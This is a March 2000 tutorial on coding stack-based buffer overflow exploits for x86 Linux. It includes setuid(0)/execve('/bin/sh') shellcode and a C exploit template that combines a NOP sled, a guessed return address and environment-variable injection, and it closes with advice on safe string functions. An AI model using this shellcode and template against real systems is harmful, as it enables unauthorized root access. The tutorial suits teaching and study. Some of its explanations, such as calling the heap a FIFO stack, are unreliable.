```
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-                                                               -=
=-              Topic : how to code stack based exploits         -=
=-              Date  : March 2000                               -=
=-              Author: dethy @ synnergy.net                     -=
=-                                                               -=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

Let me begin by mentioning that Aleph1's documentation on exploits and low level architecture can be read in 'Smashing the Stack for fun and profit', found in Phrack Issue 49 vol. 7. By far that is the most definitive exploration of such a topic, and should be studied if you wish to venture into 'hacking' or more generally how processes are carried out on the stack.

Also worth mentioning is Mudge's 'How to write Buffer Overflows', which focuses more on the actual shellcode/asm explanation, but nevertheless is definitely worthwhile.

This is to be used moreso as a reference guide and a reminder rather than a deep instrinic view of exploit code and the operations and implications thereof. Do not quote me from this text. ;)

Overview

Buffer overflows are the result of stuffing more data into a buffer than it can handle. Upon writing past the buffer, the program will often lead to unknown results, even the potential to execute arbitary code, if a certain memory pointer is overwritten.

Varying the flow of execution on the stack requires knowledge in the operating system and it's architecture based in assembly. Careful tracing of the programs flow can be accomplished by a number of debugging tools such as gdb.

The key to writing an exploit is to understand what you are actually have to modify to get the program to execute your instructions. This involves working closely with the stack, and architecture of the system (ie knowing correct asm) in order for the exploitation process to take place.

However, in recent times, knowing ASM is not specifically criteria to write exploits. Recent development of programs such as hellkit (made by TESO crew, teso.scene.at), allow shellcode generation to be constructed with little to no asm experience at all. Although it is extremely helpful to know C, in order for the translation process to take place. This is definitely a 'must-use' program if you want to write advanced shellcode to include in your exploits. Of course, you could use gdb and have fun with x/bx, though that is a little -too- time consuming.

Of course you could use the standard euid(0); shellcode, but extending this is a bonus and should be added to existing shellcode to save manual commands from being used, so that the processor executes them during the time of exploitation - time saving feature is just one added advantage of increasing the depth of the hex code.

Commonly we see the following shellcode in the basic exploits which simply spawns a /bin/sh shell:

```
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

This is taken from mudge's article on buffer overflows, and is the most basic

form of shellcode to gain increase priviledges. Of course having an euid(0);
is fine, although we then would need to gain setuid(0) and setgid(0) for further
priviledges, at some stage during exploitation. But why not just include those
simple functions in the shellcode instead?

Example:

```
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" <- setuid(0);
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

Naturally more extensive shellcode could be added, such as bind() techniques
and chroot() code where necessary, although this is the most that is required
for our task at hand.

Now let's take a generic example of an exploit that will use the shellcode above,
and could be used for actual vulnerable programs (changing the variable offsets
where required).

NB: requires C knowledge.

```
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define OFFSET  XXX             /* varies, use 0 as default */
#define nop     0x90            /* x86 is 0x90, for other architectures use
                                   void main(){ __asm__("nop\n"); }
                                   then compile and run gdb and dissassemble and take
                                   careful not of the corresponding 'nop' instruction.

                                   nop = no operation, a harmless opcode so we
                                   won't end up damaging the final result of the
                                   program or system after exploitation has taken place.
                                   we load up our buffer with this later on.

                                */
#define BSIZE   XXX             /* size of our buffer */

/* the shellcode is hex for:
          #include <stdio.h>
           main() {
           char *name[2];
           name[0] = "sh";
           name[1] = NULL;
           execve("/bin/sh",name,NULL);
          }
*/

char shellcode[] =
                "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0
                 \x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
                 \xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

/* grab the stack pointer (esp) to use as the index into our nops.
   we can use this function to find it on the go, or we could actually
   define the stack pointer memory address, ie: 0xabcdef12. */

u_long get_sp(void) { __asm__("movl %esp,%eax"); }

/* basic variable assignments */

void main(int argc, char **argv) {
    char *buffer, *ptr;
```

```
     long *address_ptr, *address;
     int i, offset = OFFSET, bsize = BSIZE;

/* create space for our buffer */

     buffer = malloc(bsize);

/* this is our return address, [("movl %esp,%eax") - offset] = esp, where offset is 0
   in this example. Local variables are referenced by subtracting their offsets from sp. */


     (char *)address = get_sp() - offset;
     fprintf(stderr, "return address %#x\n" ,address);

     ptr = buffer;
     address_ptr = (long *)ptr;

/* fill buffer with the new address to jump to, which is defined
   by our esp - offset. */

     for(i=0; i < bsize; i += 4) (int *)*(address_ptr++) = address;

/* now we fill our buffer with nop's, remembering to leave space for
   the remaining shellcode to be added. */

     for(i=0; i < bsize / 2; i++) buffer[i] = nop;

/* filling up the end of the buffer with our shellcode which will be executed
   on the stack after the bof */

     ptr = buffer + ((bsize / 2) - (strlen(shellcode) / 2));
     for(i=0;i < strlen(shellcode); i++) *(ptr++) = shellcode[i];

/* don't forget to end with the dreaded null byte or the processor won't determine
   the end of our code. */

     buffer[bsize - 1] = '\0';

/* in this case our bof is a user specified environment variable of fixed length,
   so we set our buffer "$BLAH" and that should overflow the programs buffer */

/* NB: if we aren't overflowing an environment variable then we could then skip
   the following 2 lines and instead, use:
   execl ("/usr/bin/whatever", "whatever", "-option", buffer, 0);
   - that is to overflow a program's command line argument
   - depending on the program, you'd use one or the other, NOT both.

*/

     setenv("BLAH", buffer, 1);

/* this is the program that uses the above variable for it's environment, in effect
   it's the program we are going to exploit. */

     execl("/usr/bin/whatever", "whatever", "-option", 0);
}
```

Now substituting the BSIZE, OFFSET and program to test, this could become a workable exploit, providing we know the correct values for these variables. As a rule of thumb download the source of the program to demonstrate our exploit on, and check it's fixed buffer length, and then for our BSIZE value, try incrementing it +100 bytes, as to leave space for injected shellcode.

The above exploit(s) are examples of stack based overflows. Actually, two overflows exist although, little is known about the second type - heap based overflows.

Heap vs Stack based overflows

Dynamically allocated variables (those allocated by malloc();) are created on the
heap. Unlike the stack, the heap grows upwards on most systems; that is, new variables
created
on the heap are located at higher memory addresses than older ones. In a simple heap-based
buffer
overflow attack, an attacker overflows a buffer that is lower on the heap, overwriting other
dynamic
variables, which can have unexpected and (from the programmer's or administrator's view)
unwanted
effects. This type of stack is more consistant with the FIFO queue, that is, First In First
OUT representing how objects are added and taken off the stack as it builds.

Alternatively, the stack starts at a high memory address and forces its way down to a low
memory
address. The actual placement of replacement on the stack are established by the commands
PUSH AND POP, respectively. A value that is PUSH'ed on to the stack is copied into the memory
location (exact reference) and is pointed to as execution occurs by the stack pointer (sp).
The sp will then be decremented as the stack sequentially moves down, making room for the
next local variables to be added (subl $20,%esp). POP is the reverse of such an event.
This is dealing with the LIFO queues, Last In First Out, referring to how the operations
are ordered on the stack.

Stack based are relatively simple in terms of concept, these include functions such as:
strcat(), sprint(), strcpy(), gets(), etc. - anywhere where unchecked variables are placed
into a buffer of fixed length. ALL can be avoided by careful use of the 'n' - refering to the
byte
size, ie, snprintf(blah, this, sizeof(this)) <-- showing that the 'n' creates the size we
want
to copy to the buffer, in this instance it's the complete buffer size, so we don't go over
and create the unwanted overflow, and unlitimately execute unwanted arbitrary data.

Conclusion

From a programmer's point of view, make sure you use secure functions when using the stack,
and
naturally expect the unexpected to happen - making sure you provide methods to deal with the
potential bug in user defined input. In a more general perspective, knowing how to code
exploits
provides a welcomed understanding of how the internals of programs operate, and passed
through
the specific registers on the stack. If you want a challenge - learn ASM, everything else
shall
seem like a breeze.